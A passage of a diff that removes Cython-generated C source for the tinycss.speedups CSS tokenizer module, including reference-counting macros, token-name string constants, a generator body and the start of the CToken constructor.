PyObject*, int); - void (*GOTREF)(void*, PyObject*, int); - void (*GIVEREF)(void*, PyObject*, int); - void* (*SetupContext)(const char*, int, const char*); - void (*FinishContext)(void**); - } __Pyx_RefNannyAPIStruct; - static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; - static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); /*proto*/ - #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; - #define __Pyx_RefNannySetupContext(name) __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) - #define __Pyx_RefNannyFinishContext() __Pyx_RefNanny->FinishContext(&__pyx_refnanny) - #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) - #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) - #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) - #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) -#else - #define __Pyx_RefNannyDeclarations - #define __Pyx_RefNannySetupContext(name) - #define __Pyx_RefNannyFinishContext() - #define __Pyx_INCREF(r) Py_INCREF(r) - #define __Pyx_DECREF(r) Py_DECREF(r) - #define __Pyx_GOTREF(r) - #define __Pyx_GIVEREF(r) - #define __Pyx_XINCREF(r) Py_XINCREF(r) - #define __Pyx_XDECREF(r) Py_XDECREF(r) - #define __Pyx_XGOTREF(r) - #define __Pyx_XGIVEREF(r) -#endif /* CYTHON_REFNANNY */ - -static PyObject *__Pyx_GetName(PyObject *dict, PyObject *name); /*proto*/ - -static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); - -static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); - -static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); /*proto*/ - -static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, - Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /*proto*/ - -static void __Pyx_RaiseDoubleKeywordsError( - const char* func_name, PyObject* kw_name); /*proto*/ - -static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name); /*proto*/ - - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { - PyObject *r; - if (!j) return NULL; - r = PyObject_GetItem(o, j); - Py_DECREF(j); - return r; -} - - -#define __Pyx_GetItemInt_List(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_List_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i) { - if (likely(o != Py_None)) { - if (likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { - PyObject *r = PyList_GET_ITEM(o, i); - Py_INCREF(r); - return r; - } - else if ((-PyList_GET_SIZE(o) <= i) & (i < 0)) { - PyObject *r = PyList_GET_ITEM(o, PyList_GET_SIZE(o) + i); - Py_INCREF(r); - return r; - } - } - return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); -} - -#define __Pyx_GetItemInt_Tuple(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_Tuple_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i) { - if (likely(o != Py_None)) { - if (likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { - PyObject *r = PyTuple_GET_ITEM(o, i); - Py_INCREF(r); - return r; - } - else if ((-PyTuple_GET_SIZE(o) <= i) & (i < 0)) { - PyObject *r = PyTuple_GET_ITEM(o, PyTuple_GET_SIZE(o) + i); - Py_INCREF(r); - return r; - } - } - return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); -} - - -#define __Pyx_GetItemInt(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i) { - PyObject *r; - if (PyList_CheckExact(o) && ((0 <= i) & (i < PyList_GET_SIZE(o)))) { - r = PyList_GET_ITEM(o, i); - Py_INCREF(r); - } - else if (PyTuple_CheckExact(o) && ((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { - r = PyTuple_GET_ITEM(o, i); - Py_INCREF(r); - } - else if (Py_TYPE(o)->tp_as_sequence && Py_TYPE(o)->tp_as_sequence->sq_item && (likely(i >= 0))) { - r = PySequence_GetItem(o, i); - } - else { - r = __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); - } - return r; -} - -static CYTHON_INLINE int __Pyx_NegateNonNeg(int b) { - return unlikely(b < 0) ? b : !b; -} -static CYTHON_INLINE PyObject* __Pyx_PyBoolOrNull_FromLong(long b) { - return unlikely(b < 0) ? NULL : __Pyx_PyBool_FromLong(b); -} - -static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); - -static double __Pyx__PyObject_AsDouble(PyObject* obj); /* proto */ - -#define __Pyx_PyObject_AsDouble(obj) \ - ((likely(PyFloat_CheckExact(obj))) ? \ - PyFloat_AS_DOUBLE(obj) : __Pyx__PyObject_AsDouble(obj)) - -static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level); /*proto*/ - -static CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject *); - -static CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject *); - -static CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject *); - -static CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject *); - -static CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject *); - -static CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject *); - -static CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject *); - -static CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject *); - -static CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject *); - -static CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject *); - -static CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject *); - -static CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject *); - -static CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject *); - -static CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject *); - -static CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject *); - -static CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject *); - -static CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb); /*proto*/ -static CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb); /*proto*/ - -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); /*proto*/ - -static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); /*proto*/ - -static int __Pyx_check_binary_version(void); - -static void __Pyx_AddTraceback(const char *funcname, int __pyx_clineno, - int __pyx_lineno, const char *__pyx_filename); /*proto*/ - -static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /*proto*/ - -/* Module declarations from 'tinycss.speedups' */ -static PyTypeObject *__pyx_ptype_7tinycss_8speedups_CToken = 0; -static PyTypeObject *__pyx_ptype_7tinycss_8speedups___pyx_Generator = 0; -static PyTypeObject *__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = 0; -#define __Pyx_MODULE_NAME "tinycss.speedups" -int __pyx_module_is_main_tinycss__speedups = 0; - -/* Implementation of 'tinycss.speedups' */ -static PyObject *__pyx_builtin_enumerate; -static PyObject *__pyx_builtin_ord; -static char __pyx_k_1[] = "COMPILED_TOKEN_REGEXPS"; -static char __pyx_k_2[] = ""; -static char __pyx_k_3[] = ""; -static char __pyx_k_4[] = "COMPILED_TOKEN_INDEXES"; -static char __pyx_k_5[] = ":;{}()[]"; -static char __pyx_k_7[] = "."; -static char __pyx_k_9[] = "%"; -static char __pyx_k_11[] = "\"'"; -static char __pyx_k_12[] = "\n tinycss.speedups\n ----------------\n\n Cython module for speeding up inner loops.\n\n Right now only :func:`tokenize_flat` has a second implementation.\n\n :copyright: (c) 2010 by Simon Sapin.\n :license: BSD, see LICENSE for more details.\n"; -static char __pyx_k_13[] = "tinycss.speedups"; -static char __pyx_k__URI[] = "URI"; -static char __pyx_k__end[] = "end"; -static char __pyx_k__ord[] = "ord"; -static char __pyx_k__HASH[] = "HASH"; -static char __pyx_k__line[] = "line"; -static char __pyx_k__unit[] = "unit"; -static char __pyx_k__DELIM[] = "DELIM"; -static char __pyx_k__IDENT[] = "IDENT"; -static char __pyx_k__group[] = "group"; -static char __pyx_k__lower[] = "lower"; -static char __pyx_k__type_[] = "type_"; -static char __pyx_k__value[] = "value"; -static char __pyx_k__NUMBER[] = "NUMBER"; -static char __pyx_k__STRING[] = "STRING"; -static char __pyx_k__column[] = "column"; -static char __pyx_k__format[] = "format"; -static char __pyx_k__COMMENT[] = "COMMENT"; -static char __pyx_k__INTEGER[] = "INTEGER"; -static char __pyx_k__FUNCTION[] = "FUNCTION"; -static char __pyx_k____main__[] = "__main__"; -static char __pyx_k____test__[] = "__test__"; -static char __pyx_k__ATKEYWORD[] = "ATKEYWORD"; -static char __pyx_k__DIMENSION[] = "DIMENSION"; -static char __pyx_k__css_value[] = "css_value"; -static char __pyx_k__enumerate[] = "enumerate"; -static char __pyx_k__BAD_STRING[] = "BAD_STRING"; -static char __pyx_k__PERCENTAGE[] = "PERCENTAGE"; -static char __pyx_k__css_source[] = "css_source"; -static char __pyx_k__token_data[] = "token_data"; -static char __pyx_k__BAD_COMMENT[] = "BAD_COMMENT"; -static char __pyx_k__is_container[] = "is_container"; -static char __pyx_k__FIND_NEWLINES[] = "FIND_NEWLINES"; -static char __pyx_k__tokenize_flat[] = "tokenize_flat"; -static char __pyx_k__TOKEN_DISPATCH[] = "TOKEN_DISPATCH"; -static char __pyx_k__SIMPLE_UNESCAPE[] = "SIMPLE_UNESCAPE"; -static char __pyx_k__ignore_comments[] = "ignore_comments"; -static char __pyx_k__NEWLINE_UNESCAPE[] = "NEWLINE_UNESCAPE"; -static char __pyx_k__UNICODE_UNESCAPE[] = "UNICODE_UNESCAPE"; -static PyObject *__pyx_n_s_1; -static PyObject *__pyx_kp_u_11; -static PyObject *__pyx_n_s_13; -static PyObject *__pyx_kp_u_2; -static PyObject *__pyx_kp_u_3; -static PyObject *__pyx_n_s_4; -static PyObject *__pyx_kp_u_5; -static PyObject *__pyx_kp_u_7; -static PyObject *__pyx_kp_u_9; -static PyObject *__pyx_n_u__ATKEYWORD; -static PyObject *__pyx_n_u__BAD_COMMENT; -static PyObject *__pyx_n_u__BAD_STRING; -static PyObject *__pyx_n_u__COMMENT; -static PyObject *__pyx_n_u__DELIM; -static PyObject *__pyx_n_u__DIMENSION; -static PyObject *__pyx_n_s__FIND_NEWLINES; -static PyObject *__pyx_n_u__FUNCTION; -static PyObject *__pyx_n_u__HASH; -static PyObject *__pyx_n_u__IDENT; -static PyObject *__pyx_n_u__INTEGER; -static PyObject *__pyx_n_s__NEWLINE_UNESCAPE; -static PyObject *__pyx_n_u__NUMBER; -static PyObject *__pyx_n_u__PERCENTAGE; -static PyObject *__pyx_n_s__SIMPLE_UNESCAPE; -static PyObject *__pyx_n_u__STRING; -static PyObject *__pyx_n_s__TOKEN_DISPATCH; -static PyObject *__pyx_n_s__UNICODE_UNESCAPE; -static PyObject *__pyx_n_u__URI; -static PyObject *__pyx_n_s____main__; -static PyObject *__pyx_n_s____test__; -static PyObject *__pyx_n_s__column; -static PyObject *__pyx_n_s__css_source; -static PyObject *__pyx_n_s__css_value; -static PyObject *__pyx_n_s__end; -static PyObject *__pyx_n_s__enumerate; -static PyObject *__pyx_n_s__format; -static PyObject *__pyx_n_s__group; -static PyObject *__pyx_n_s__ignore_comments; -static PyObject *__pyx_n_s__is_container; -static PyObject *__pyx_n_s__line; -static PyObject *__pyx_n_s__lower; -static PyObject *__pyx_n_s__ord; -static PyObject *__pyx_n_s__token_data; -static PyObject *__pyx_n_s__tokenize_flat; -static PyObject *__pyx_n_s__type_; -static PyObject *__pyx_n_s__unit; -static PyObject *__pyx_n_s__value; -static PyObject *__pyx_int_0; -static PyObject *__pyx_int_1; -static PyObject *__pyx_int_2; -static PyObject *__pyx_k_tuple_6; -static PyObject *__pyx_k_tuple_8; -static PyObject *__pyx_k_tuple_10; -static PyObject *__pyx_gb_7tinycss_8speedups_2generator(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope, PyObject *__pyx_sent_value); /* proto */ - -/* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_1genexpr(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_1genexpr(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope; - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("genexpr"); - __pyx_cur_scope = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr->tp_new(__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr, __pyx_empty_tuple, NULL); - if (unlikely(!__pyx_cur_scope)) { - __Pyx_RefNannyFinishContext(); - return NULL; - } - __Pyx_GOTREF(__pyx_cur_scope); - __pyx_self = __pyx_self; - __pyx_cur_scope->__pyx_base.resume_label = 0; - __pyx_cur_scope->__pyx_base.body = (__pyx_generator_body_t) __pyx_gb_7tinycss_8speedups_2generator; - __Pyx_GIVEREF(__pyx_cur_scope); - __Pyx_RefNannyFinishContext(); - return (PyObject *) __pyx_cur_scope; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __Pyx_DECREF(((PyObject *)__pyx_cur_scope)); - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_gb_7tinycss_8speedups_2generator(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope, PyObject *__pyx_sent_value) /* generator body */ -{ - PyObject *__pyx_r = NULL; - PyObject *__pyx_t_1 = NULL; - PyObject *__pyx_t_2 = NULL; - PyObject *__pyx_t_3 = NULL; - Py_ssize_t __pyx_t_4; - PyObject *(*__pyx_t_5)(PyObject *); - PyObject *__pyx_t_6 = NULL; - PyObject *__pyx_t_7 = NULL; - PyObject *__pyx_t_8 = NULL; - PyObject *(*__pyx_t_9)(PyObject *); - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("None"); - switch (__pyx_cur_scope->__pyx_base.resume_label) { - case 0: goto __pyx_L3_first_run; - case 1: goto __pyx_L8_resume_from_yield; - default: /* CPython raises the right error here */ - __Pyx_RefNannyFinishContext(); - return NULL; - } - __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_INCREF(__pyx_int_0); - __pyx_t_1 = __pyx_int_0; - __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s_1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyList_CheckExact(__pyx_t_2) || PyTuple_CheckExact(__pyx_t_2)) { - __pyx_t_3 = __pyx_t_2; __Pyx_INCREF(__pyx_t_3); __pyx_t_4 = 0; - __pyx_t_5 = NULL; - } else { - __pyx_t_4 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = Py_TYPE(__pyx_t_3)->tp_iternext; - } - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - for (;;) { - if (PyList_CheckExact(__pyx_t_3)) { - if (__pyx_t_4 >= PyList_GET_SIZE(__pyx_t_3)) break; - __pyx_t_2 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; - } else if (PyTuple_CheckExact(__pyx_t_3)) { - if (__pyx_t_4 >= PyTuple_GET_SIZE(__pyx_t_3)) break; - __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; - } else { - __pyx_t_2 = __pyx_t_5(__pyx_t_3); - if (unlikely(!__pyx_t_2)) { - if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) PyErr_Clear(); - else {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - break; - } - __Pyx_GOTREF(__pyx_t_2); - } - if ((likely(PyTuple_CheckExact(__pyx_t_2))) || (PyList_CheckExact(__pyx_t_2))) { - PyObject* sequence = __pyx_t_2; - if (likely(PyTuple_CheckExact(sequence))) { - if (unlikely(PyTuple_GET_SIZE(sequence) != 2)) { - if (PyTuple_GET_SIZE(sequence) > 2) __Pyx_RaiseTooManyValuesError(2); - else __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_6 = PyTuple_GET_ITEM(sequence, 0); - __pyx_t_7 = PyTuple_GET_ITEM(sequence, 1); - } else { - if (unlikely(PyList_GET_SIZE(sequence) != 2)) { - if (PyList_GET_SIZE(sequence) > 2) __Pyx_RaiseTooManyValuesError(2); - else __Pyx_RaiseNeedMoreValuesError(PyList_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_6 = PyList_GET_ITEM(sequence, 0); - __pyx_t_7 = PyList_GET_ITEM(sequence, 1); - } - __Pyx_INCREF(__pyx_t_6); - __Pyx_INCREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - } else { - Py_ssize_t index = -1; - __pyx_t_8 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_9 = Py_TYPE(__pyx_t_8)->tp_iternext; - index = 0; __pyx_t_6 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_6)) goto __pyx_L6_unpacking_failed; - __Pyx_GOTREF(__pyx_t_6); - index = 1; __pyx_t_7 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_7)) goto __pyx_L6_unpacking_failed; - __Pyx_GOTREF(__pyx_t_7); - if (__Pyx_IternextUnpackEndCheck(__pyx_t_9(__pyx_t_8), 2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - goto __pyx_L7_unpacking_done; - __pyx_L6_unpacking_failed:; - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyErr_Occurred() && PyErr_ExceptionMatches(PyExc_StopIteration)) PyErr_Clear(); - if (!PyErr_Occurred()) __Pyx_RaiseNeedMoreValuesError(index); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_L7_unpacking_done:; - } - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_GIVEREF(__pyx_t_6); - __pyx_cur_scope->__pyx_v_name = __pyx_t_6; - __pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_regexp); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_regexp); - __Pyx_GIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_v_regexp = __pyx_t_7; - __pyx_t_7 = 0; - __Pyx_INCREF(__pyx_t_1); - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_i); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_i = __pyx_t_1; - __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_int_1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_1); - __pyx_t_1 = __pyx_t_2; - __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(2); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_2)); - __Pyx_INCREF(__pyx_cur_scope->__pyx_v_name); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_name); - __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_INCREF(__pyx_cur_scope->__pyx_v_i); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_cur_scope->__pyx_v_i); - __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_i); - __pyx_r = ((PyObject *)__pyx_t_2); - __pyx_t_2 = 0; - __Pyx_XGIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_3); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; - __pyx_cur_scope->__pyx_t_2 = __pyx_t_4; - __pyx_cur_scope->__pyx_t_3 = __pyx_t_5; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - /* return from generator, yielding value */ - __pyx_cur_scope->__pyx_base.resume_label = 1; - return __pyx_r; - __pyx_L8_resume_from_yield:; - __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_3); - __pyx_t_4 = __pyx_cur_scope->__pyx_t_2; - __pyx_t_5 = __pyx_cur_scope->__pyx_t_3; - if (unlikely(!__pyx_sent_value)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - PyErr_SetNone(PyExc_StopIteration); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_2); - __Pyx_XDECREF(__pyx_t_3); - __Pyx_XDECREF(__pyx_t_6); - __Pyx_XDECREF(__pyx_t_7); - __Pyx_XDECREF(__pyx_t_8); - __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_L0:; - __Pyx_XDECREF(__pyx_r); - __pyx_cur_scope->__pyx_base.resume_label = -1; - __Pyx_RefNannyFinishContext(); - return NULL; -} - -/* "tinycss/speedups.pyx":35 - * cdef public Py_ssize_t line, column - * - * def __init__(self, type_, css_value, value, unit, line, column): # <<<<<<<<<<<<<< - * self.type = type_ - * self._as_css = css_value - */ - -static int __pyx_pf_7tinycss_8speedups_6CToken___init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken___init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { - PyObject *__pyx_v_type_ = 0; - PyObject *__pyx_v_css_value = 0; - PyObject *__pyx_v_value = 0; - PyObject *__pyx_v_unit = 0; - PyObject *__pyx_v_line = 0; - PyObject *__pyx_v_column = 0; - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__type_,&__pyx_n_s__css_value,&__pyx_n_s__value,&__pyx_n_s__unit,&__pyx_n_s__line,&__pyx_n_s__column,0}; - __Pyx_RefNannySetupContext("__init__"); - { - PyObject* values[6] = {0,0,0,0,0,0}; - if (unlikely(__pyx_kwds)) { - Py_ssize_t kw_args; - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 6: values[5] = PyTuple_GET_ITEM(__pyx_args, 5); - case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); - case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); - case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - case 0: break; - default: goto __pyx_L5_argtuple_error; - } - kw_args = PyDict_Size(__pyx_kwds); - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 0: - values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__type_); - if (likely(values[0])) kw_args--; - else goto __pyx_L5_argtuple_error; - case 1: - values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__css_value); - if (likely(values[1])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 2: - values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__value); - if (likely(values[2])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 2); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 3: - values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__unit); - if (likely(values[3])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 3); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 4: - values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__line); - if (likely(values[4])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 4); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 5: - values[5] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__column); - if (likely(values[5])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 5); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } - if (unlikely(kw_args > 0)) { - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, PyTuple_GET_SIZE(__pyx_args), "__init__") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } else if (PyTuple_GET_SIZE(__pyx_args) != 6) { - goto __pyx_L5_argtuple_error; - } else { - values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - values[2] = PyTuple_GET_ITEM(__pyx_args, 2); - values[3] = PyTuple_GET_ITEM(__pyx_args, 3); - values[4] = PyTuple_GET_ITEM(__pyx_args, 4); - values[5] = PyTuple_GET_ITEM(__pyx_args, 5); - } - 